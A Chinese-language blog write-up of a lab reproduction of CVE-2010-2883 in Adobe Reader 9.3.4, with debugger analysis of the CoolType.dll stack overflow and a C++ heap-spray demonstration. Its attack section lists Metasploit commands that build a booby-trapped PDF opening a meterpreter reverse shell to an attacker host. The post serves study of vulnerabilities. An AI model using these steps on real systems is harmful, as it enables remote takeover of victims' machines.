menu 牢记自己是菜
CVE-2010-2883 栈溢出漏洞(Heap Spray--堆喷射)
148 浏览 | 2023-01-08 | 阅读时间: 约 5 分钟 | 分类: PWn | 标签:

0x1 复现环境

  • 靶机操作系统 Windows xp SP3
  • 调试器 OllyDbg
  • 反汇编 IDA 7.0
  • 漏洞软件 Adobe Reader 9.3.4
  • 攻击机 Kali Metasploit

0x2 实验流程

  1. kali生成注入shell的PDF,对靶机进行攻击,靶机运行PDF回弹shell至kali靶机
  2. 对CoolType.dll库进行静态分析,分析漏洞
  3. 对Adobe Reader进行动态分析

0x3 靶机攻击阶段

msf > search adobe_cooltype_sing
调用渗透模块 
msf > use exploit/windows/fileformat/adobe_cooltype_sing/
调用meterpreter载荷,反向连接到渗透机 
msf  exploit(adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp 
设置Kali Linux的IP地址 
msf  exploit(adobe_cooltype_sing) > set LHOST 192.168.65.128
设置本地监听端口 
msf  exploit(adobe_cooltype_sing) > set LPORT 8888 
设置PDF文件名称
msf  exploit(adobe_cooltype_sing) > set FILENAME PINGINGLAB.pdf 
生成PDF文件
msf  exploit(adobe_cooltype_sing) > exploit
使用handler监听模块 
msf > use exploit/multi/handler 
回弹一个tcp连接 
msf  exploit(handler) > set payload windows/meterpreter/reverse_tcp 
设置监听IP地址(跟PDF木马文件一致) 
msf  exploit(handler) > set LHOST 192.168.65.128
设置监听的端口(跟PDF木马文件一致) 
msf  exploit(handler) > set LPORT 8888 
开启监听 
msf  exploit(handler) > exploit
查看系统信息 
meterpreter > sysinfo

0x4 CoolType.dll静态分析

补充:使用shift+F1可以使用模板结构体定义,及使用c语言语法定义结构体。

补充2:不同系统的函数调用约定

Linux下x86-64平台,前6个整数或指针参数在寄存器RDI,RSI,RDX,RCX,R8,R9中传递(对于嵌套函数,R10用作静态链指针),与Microsoft x64调用约定中一样,其他参数在堆栈上传递。64位内的整数返回值存储在RAX中,而128位的返回值使用RAX和RDX存储。浮点返回值类似地存储在XMM0和XMM1中。较宽的YMM和ZMM寄存器用于代替XMM传递和返回较宽的值。

Win下x86平台,不同的函数调用规则。

  1. cdecl(C declaration)是 ,x86架构下微软编译器和许多C编译器使用的C语言的调用约定。在cdecl中,被调用函数的参数在堆栈上传递。整数值和存储器地址在EAX寄存器中返回,x87中浮点值在ST0寄存器中返回。调用者在必要时,需要保存寄存器EAX,ECX和EDX,其余寄存器的保存,由被调用者完成。在x87中调用新函数时,浮点寄存器ST0至ST7必须为空(弹出或释放),并且退出函数时ST1至ST7必须为空。当不用于返回值时,ST0也必须为空。
  2. stdcall调用约定用来调用Win32 API函数。被调用者清理栈上的参数。
  3. fastcall将前两个参数分别放入ECX和EDX,其余参数从右到左依次入栈。

windowsx64平台只使用4个寄存器来保存参数,更多的参数要保存到栈里面以此完成参数的传递。

首先我们先看栈空间的大小,整个函数段,栈内空间大小为104h,而后续将一段没有长度限制的uniqueName变量进行了复制,引发了栈溢出漏洞。

其次我们从漏洞pdf入手,我们可以找到SING索引选项,找到偏移,从偏移处得到真实的UniqueName的数据。

0x5 动态分析

下一步我们进行动态分析,首先我们运行Adobe Reader,使用Ollydbg对进程进行挂载。我们可以观察一下现在的内存空间。我们观察到从0x400000处内存开始加载了Adobe Reader的主程序。

在0x800000处内存加载了CoolType.dll,所以我们可以直接定位dll中SING代码段(使用IDA por就可以直接定位,IDA在加载动态链接库的时候,默认基址是从0x800000开始的)。这里我关闭了windows地址的随机化,如果起始地址不是0x800000,我们可以从静态分析中得到代码段的偏移,然后加上基址得出我们代码所在的代码段。在关键函数处打下断点,方便后续调试。

之后使用软件打开注入了shellcode的PDF文件,在代码段我们发现,由于strcat函数自身的安全缺陷造成了栈溢出。在地址处0x0808B308,此处代码call eax是将eax中的值作为地址进行了跳转。

此时 eax 寄存器的值为 0x12E6D0,也就是栈上的一个地址,此时栈顶为 0x12E2D8。会取 eax 指向的地址的值来作为函数调用。 0x12E6D0 处存放着的值为 0x080833EF ,意味此处代码的跳转会跳到 CoolType.dll 的 0x080833EF 处执行。因此,如果我们在栈溢出时可以覆盖 0x12E6D0 处的值,就可以跳到任意地址去执行 shellcode。后续与静态分析基本一致,样本使用了strcat制造了栈溢出漏洞,覆盖了上述地址,并且通过覆盖函数指针来绕过了GS保护, ROP 技术绕过了DEP 保护,使用了Heap Spray堆喷绕过了ALSR 。覆盖指针和ROP技术PWN中经常使用,但是Heap Spray堆喷技术我是第一次听说,所以我们后边着重的研究了一下堆喷射技术。

0x6 Heap Spray(堆喷射)

Heap Spray技术是由传统slide code(滑板指令)+shellcode组成的,其工作原理是通过申请巨大的内存空间(常见200MB),使用若干滑板指令和shellcode对内存进行填充。协同其他漏洞(如栈溢出漏洞)劫持程序执行流,从而命中滑板指令(ps:滑板指令一般为NOP等没有实际作用的指令),之后程序会顺着滑板指令划过内存,最终命中shellcode,实现shellcode的执行。

这里参考着大佬的例程过一遍堆喷设,参考例程

#include <windows.h>
#include <stdio.h>
 
class base
{
    char m_buf[8];
public:
 
    virtual int baseInit1()
    {
        printf("%s\n","baseInit1");
        return 0;
    }
    virtual int baseInit2()
    {
        printf("%s\n","baseInit2");
        return 0;
    }
};
 
 
int main()
{
    unsigned int bufLen = 200*1024*1024;
    base* baseObj = new base;
    char buff[8] = {0};
    char* spray = new char[bufLen];
    printf("%p\n",&spray);
    printf("%p\n",&buff);
    printf("%p\n",&baseObj);
    memset(spray,0x0c,sizeof(char)*bufLen);
    memset(spray+bufLen-0x10,0xcc,0x10);
 
    strcpy(buff,"12345678\x0c\x0c\x0c\x0c");
    baseObj->baseInit1();
 
    return 0;
}

首先我们定义一个类,在类中包含一个char型数组8个字符,和两个虚函数。在主函数中,我们new一个名为baseObj的base对象,因为是new的缘故,所以对象主体部分在内存中,函数栈内只存在一个对象指针。之后初始化一个buff字符串数组,由于这个数组是局部变量,所以此变量存放在栈中,这个变量为后续栈溢出提供溢出点。之后申请一个200MB的内存空间,此时内存空间的指针会被保存在栈中。在初始化变量后,函数栈内结构如下。

这里补充一下关于结构体的知识,对于一个存在虚函数的结构体,程序会为此结构体建立一张虚函数表,而在虚函数表中存放的则是虚函数的代码段地址。

就如同中断向量表使用的方法一样,再调用函数的时候,程序会在栈中寻找到结构体的指针,从而获得vptr指针,接着顺着vptr指针找到vtbl虚函数表所存储的位置,根据偏移取得对应被调用的虚函数,顺着地址执行虚函数。

本例子的思路则是,通过栈溢出修改存放在栈中的结构体指针,程序进程流劫持到内存地址0x0c0c0c0c,由于我们之前申请了大片内存空间(200MB),并将向内存中填充了滑板指令。

之后在访问结构体成员函数时,程序就会将地址0x0c0c0c0c作为结构体指针,而0x0c0c0c0c指向的地址为为0x0c0c0c0c,程序会继续将该地址作为虚表进行查询,最终将运行0x0c0c0c0c处的代码。由于代码是我们构建出的滑板指令,程序就会跟着内存区域向下滑,直至shellcode处。

补充:结构体与虚函数表的动态调试

我们可以顺着栈内指针找到结构体在内存中被保存的位置即vptr指针。

随后我们可以跟随该指针找到虚表所存放的内存地址,即vtbl虚函数表,虚函数表指向的即为虚函数代码。

0x7 CVE-2010-2883补丁更新

在新版本的Adobe Reader中,官方采取了字符串长度检测以避免栈溢出的问题。

发表评论

email
web

全部评论 (暂无评论)

info 还没有任何评论,你来说两句呐!